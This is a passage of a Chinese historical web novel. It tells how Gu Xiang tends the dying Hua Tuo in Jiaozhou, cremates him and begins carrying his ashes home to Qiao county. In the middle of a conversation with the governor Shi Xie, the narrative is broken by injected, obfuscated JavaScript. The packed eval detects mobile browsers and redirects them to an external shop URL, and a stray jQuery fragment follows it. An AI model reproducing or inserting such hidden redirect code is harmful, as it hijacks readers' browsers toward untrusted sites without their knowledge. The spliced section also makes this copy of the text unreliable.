建安十年春，交州下了很大的一场雨。
顾湘记得那场雨的每一个细节。雨水打在竹楼屋顶的茅草上，发出沉闷而密集的噼啪声，像千万颗石子同时砸下来。风从竹楼的缝隙里钻进来，带着泥土和青草的气息，还有一丝凉意——交州的春天本不该这么凉，但那天就是凉了。她坐在华佗的床边，一夜没合眼，手一直握着他的手，指腹按在他的脉搏上，感受着那越来越细、越来越弱的跳动。
华佗躺在床上，呼吸很浅，浅得像一片羽毛浮在水面上。他的脸色苍白，嘴唇微微发紫，灰白的头发散在枕头上，像一捧被风吹散的芦花。他的眼睛闭着，眼窝深陷，颧骨高耸——这一个冬天，他瘦了很多。顾湘每天给他煮粥，喂他喝药，但他吃进去的永远比需要的少。他像是已经做好了离开的准备，身体在一点一点地收工，像一盏油灯在油尽之前慢慢地、慢慢地暗下去。
每隔一会儿，顾湘就把耳朵贴在他的胸口听心跳。心跳很慢，咚，咚，咚，间隔越来越长，像是有人在很远的地方敲一面越来越远的鼓。每听一次，她的心就往下沉一点。但她不敢哭——怕眼泪滴在他脸上，惊醒他。她甚至不敢松开他的手，怕一松开，那点微弱的温度就会彻底消失。
天亮的时候，雨还没有停。窗外的天空是灰白色的，分不清是早晨还是黄昏。光线从竹缝里漏进来，在地板上投下细长的影子。华佗忽然睁开了眼睛。
"南风。"他的声音很轻，轻得像风穿过竹叶，如果不仔细听，就会被雨声盖过去。
"我在。"顾湘凑近他，把耳朵贴在他的嘴边，"我在这里。"
"天亮了？"
"亮了。"
"雨停了？"
"还在下。"顾湘说，声音有些哽咽，但她拼命压着，"春天的雨，下不大的。一会儿就停了。"
华佗沉默了一会儿。他的嘴唇动了动，像是想说什么，又像是在积攒力气。顾湘把他的头轻轻抬起来一些，让他靠在自己肩上，让他省一点说话的力气。
"南风，"他终于开口了，每一个字都像是从很深的地方提上来的，"把我的骨灰……送回谯县。埋在药圃……那棵老槐树下面。"
顾湘的眼泪一滴一滴地掉下来，落在他的额头上，顺着他的眉骨滑落下来，和窗外的雨一样，停不下来。
"好。"她说，声音在发抖，"我送你回去。"
华佗的嘴角微微弯了一下。那个笑容很淡，淡得几乎看不见，但顾湘看见了。他在笑。他最后留给她的表情，是一个笑。
"南风，"他说，声音比刚才更轻了，轻得像最后的呼吸，"两千年后……我们还做夫妻。"
说完这句话，他的眼睛慢慢闭上了。嘴角的那个弯度还在，像一个没画完的句号。他的手指在她手心里轻轻动了一下，像是要握住什么，然后松开了。脉搏没了。心跳没了。那盏灯，终于灭了。
顾湘趴在他身上，抱着他，泣不成声。她的声音淹在窗外的雨声里，没有人听见，只有竹楼和雨水做了见证。她不知道自己在床边坐了多久，只知道雨停了，又下了；天黑了，又亮了。她握着华佗的手，那双手已经凉了，但她不想松开。松开了，就再也握不到了。
但她终究还是松开了。
她是医生。医生不能死在悲痛里。她还有事要做。她擦了眼泪，站起来，开始做她该做的事。
她端来一盆温水，用麻布蘸湿了，一寸一寸地擦洗华佗的遗体。他的皮肤松弛而苍白，像一张被翻过太多遍的书页。肋骨一根一根地凸出来，轮廓清晰。她把他的每一个关节都擦拭干净——手指、手腕、肘弯、肩膀。擦到他手上的茧时，她的手指停了一下。那层老茧摸起来还是硬的，是他几十年握针、握笔、握手术刀的见证。
她给他换上那件他最喜欢的青灰色袍服，那是她来交州以后亲手做的，用的是当地的粗麻布，染了三次才染出这个颜色。她说他穿这个颜色显精神，他就一直留着，只在过年和见重要客人的时候穿。她把他的头发梳顺了，用一方青色布巾束起来。她端详了他很久，把鬓角的一缕乱发拨到耳后，然后俯下身，在他的额头上轻轻吻了一下。
然后她出去找了人——竹楼旁边住着一户猎户，男人姓覃，华佗救过他女儿一命。顾湘跟他说了，覃猎户二话没说，叫了几个邻居，在竹楼后面的空地上搭了一个火化台。用的是松木，干的，一烧就噼啪作响。
火化的时候，交州不下雨了。雨在午后停了，太阳从云层后面钻出来，光线铺在竹楼上、溪水上、药圃上，湿漉漉的一切都在发光。华佗的遗体被安放在松木堆上，顾湘亲手点燃了火。火焰从松木底下窜上来，先是一小簇，然后迅速蔓延开来，把华佗裹了进去。他穿着青灰色的袍服，在火焰里像一团慢慢燃烧的云。
顾湘站在火化台前，看着火焰一点一点地吞噬他。大火烧了很久，烧到天边的云都变成了橘红色。风从西边吹来，把灰烬吹散了一些，扬在空中，像黑色的雪。她没有哭——不是不想哭，是把眼泪咽回去了。她知道华佗不在了，但书还在。书在，他就在。
灰烬冷却之后，顾湘用手一点一点地把骨灰收进陶罐里。那罐子是她提前准备好的，不大，刚好能捧在怀里。她用油布把罐口封了三层，再裹上一层麻布，打了一个结结实实的包袱。
三天后，顾湘踏上了北归的路。
华佗的骨灰装在竹篓里，背在背上，贴着她的脊背，能感觉到一点微微的重量。续篇的竹简——他在交州这三年写的那些——也装在另一个竹篓里，用油布裹得严严实实。她把竹篓系在胸前，像抱着一个孩子。两副担子，一副在前，一副在后。来的时候是两个人，回去的时候，只剩她一个。
交州刺史士燮来送行。他骑了一匹矮脚马，身后跟着两个挑着担子的差役，担子里是干粮和水。
"南风先生，华先生走了，您一个人回去，路上要小心。"士燮翻身下马，拱手行礼，眼眶有些红，"交州的百姓，不会忘记他。"
"多谢士刺史。"顾湘还了一礼。她的声音有些沙哑，是哭多了的后遗症。
"华先生的事，我会写信给朝廷。他虽然被流放，但他的功绩，不应该被埋没。"
顾湘点了点头。她想了想，又说："士刺史，有件事想请您帮忙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709857|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"
"请说。"
"交州的黄花蒿，可以治疟疾。请您派人多采一些，晒干了，送到各地。能救多少人，就救多少人。这是华先生的心愿，也是我的心愿。"
士燮郑重地拱手："南风先生放心。华先生的遗愿，士某一定照办。您路上保重。"
顾湘背着竹篓，独自上了路。
从交州到谯县，三千多里。她走得很慢，每天只走三十里，不是因为累——她年轻，身体好——而是因为怕颠着背上的那罐骨灰。每到驿站歇脚，她都会把陶罐取下来，放在枕头旁边，跟它说几句话。
"今天到郁林了。"她说，"这边的山比交州的矮一些。"
"今天过漓水了。水很大，船坐了半个时辰才到对岸。"
"今天看到北方的树了。杨树，你肯定认识。"
她像在跟一个沉默的旅伴说话。那罐子从来不回答，但顾湘觉得他能听见。风穿过树叶的声音是他的回应，鸟鸣是他的叹息，路边那些叫不出名字的花，是他随手种下的礼物。
路上走了两个月，顾湘听到了一些消息。
第一个消息是在桂林听到的。一个草药贩子说，曹操去年病死了。头风病一直没好，华佗又被流放了，没人治得了。死的时候五十六岁。
顾湘听了，没有高兴，也没有难过。曹□□了，但她已经不在乎了。她拍了拍背上的陶罐，说："你听见了吗？他死了，比你死得早。"
第二个消息是在荆州听到的。一个过路的商人说，谯县的济世堂还在，是一个姓阿的女先生在管。生意很好，方圆几百里的人都来找她看病。
顾湘笑了，阿香长大了。那个干活时哼歌的小丫头，现在支棱起一个医馆了。
第三个消息是在襄阳听到的。一个老大夫说，吴普在许昌开了医馆，专治疑难杂症，名气很大。樊阿在彭城，专攻针灸，人称"小华佗"。张玄回了长沙，把张仲景的医术和他父亲的经验结合起来，成了当地的名医。
顾湘站在襄阳的街头，听着这些话，忽然笑了。她笑着笑着，眼泪就下来了。她对着背上的陶罐说："华佗，你听到了吗？你的学生，都成了好医生。他们一个都没走偏。你的医术，传下去了。千千万万遍，直到永远。"
陶罐没有回答。但顾湘觉得，罐子里的骨灰，暖了一下。也许是阳光晒的，也许不是。
她继续走。北方的土地越来越近，风越来越干燥，天空越来越高。她知道，谯县快到了，那棵老槐树快到了。她答应他的那件事——把他埋回药圃的树下——快做到了。
从交州到谯县，三千多里。他活着的时候走了前半程，她替他走了后半程。一个人的路，两个人的命。
顾湘背着竹篓，一步一步地往前走。每走一步，离谯县就近一步，离那棵老槐树就近一步。离他想要安息的地方，就近一步。
她想，等埋好了他，她就在槐树旁边搭一间小木屋，守着药圃，守着书，守着那些他教过的学生和他们的学生。等到她也老了，走不动了，她就坐在槐树下面，把那些书一本一本地念给他听。
反正他听得见。